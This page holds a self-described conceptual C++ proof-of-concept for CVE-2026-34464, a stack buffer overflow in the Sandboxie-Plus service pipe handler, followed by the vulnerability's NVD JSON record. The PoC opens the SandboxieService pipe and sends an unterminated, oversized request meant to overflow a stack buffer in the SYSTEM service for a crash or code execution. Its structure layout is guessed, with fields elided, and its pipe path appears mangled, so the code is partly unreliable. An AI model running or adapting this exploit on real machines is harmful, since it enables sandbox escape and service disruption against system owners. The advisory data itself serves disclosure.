CVE-2026-34464

// Conceptual PoC for CVE-2026-34464 // Stack buffer overflow in Sandboxie-Plus NamedPipeServer::OpenHandler #include <windows.h> #include <iostream> // Simulated structure based on vulnerability description // The 'server' field is 48 WCHARs wide typedef struct _NAMED_PIPE_OPEN_REQ { // ... other fields ... WCHAR server[48]; // ... other fields ... } NAMED_PIPE_OPEN_REQ; int main() { // Attempt to connect to the Sandboxie service pipe HANDLE hPipe = CreateFileW(L"\\.\pipe\SandboxieService", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hPipe == INVALID_HANDLE_VALUE) { std::cerr << "Failed to connect to pipe. Service might not be running." << std::endl; return 1; } // Prepare the malicious payload // Goal: Overflow the 'pipename[160]' stack buffer in OpenHandler // wcscat appends 'server' field to 'pipename'. // If 'server' lacks null termination within 48 chars and we append extra data // after the structure, wcscat reads out of bounds. // 1. Allocate a buffer larger than the expected structure size SIZE_T payloadSize = sizeof(NAMED_PIPE_OPEN_REQ) + 256; BYTE* payload = (BYTE*)malloc(payloadSize); ZeroMemory(payload, payloadSize); NAMED_PIPE_OPEN_REQ* req = (NAMED_PIPE_OPEN_REQ*)payload; // 2. Fill the 'server' field with non-null wide characters // This forces wcscat to keep reading past the 48-byte boundary for (int i = 0; i < 48; i++) { req->server[i] = L'A'; } // 3. Append controlled wide characters immediately after the structure // The handler treats the message as variable length, so this data is part of the stream WCHAR* overflowData = (WCHAR*)(payload + sizeof(NAMED_PIPE_OPEN_REQ)); for (int i = 0; i < 100; i++) { overflowData[i] = L'B'; // This data will overflow the stack buffer } // 4. Send the payload to the SYSTEM service DWORD bytesWritten; BOOL result = WriteFile(hPipe, payload, (DWORD)payloadSize, &bytesWritten, NULL); if (result) { std::cout << "Payload sent successfully. Check for service crash or code execution." << std::endl; } else { std::cerr << "Failed to send payload." << std::endl; } free(payload); CloseHandle(hPipe); return 0; }

{"cve": {"id": "CVE-2026-34464", "sourceIdentifier": "[email protected]", "published": "2026-05-05T20:16:37.773", "lastModified": "2026-05-07T19:46:41.970", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sandboxie-Plus is an open source sandbox-based isolation software for Windows. In versions 1.17.2 and earlier, NamedPipeServer::OpenHandler copies the server field from NAMED_PIPE_OPEN_REQ into a fixed WCHAR pipename[160] stack buffer using wcscat without verifying null termination. The handler only enforces a minimum packet size, and since the service pipe accepts variable-length messages, a sandboxed caller can fill the server[48] field with non-zero data and append additional controlled wide characters after the structure. wcscat then reads past the fixed field and overflows the stack buffer in the SYSTEM service. This message is restricted to sandboxed callers, making it a sandbox escape vector. This can lead to a crash of the SbieSvc service or potential code execution as SYSTEM. This issue has been fixed in version 1.17.3."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.0, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}, {"lang": "en", "value": "CWE-170"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sandboxie-plus:sandboxie:*:*:*:*:plus:*:*:*", "versionEndExcluding": "1.17.3", "matchCriteriaId": "69CB00B4-502D-4839-B404-93FA214C6978"}]}]}], "references": [{"url": "https://github.com/sandboxie-plus/Sandboxie/security/advisories/GHSA-cf8x-f33g-vwfg", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}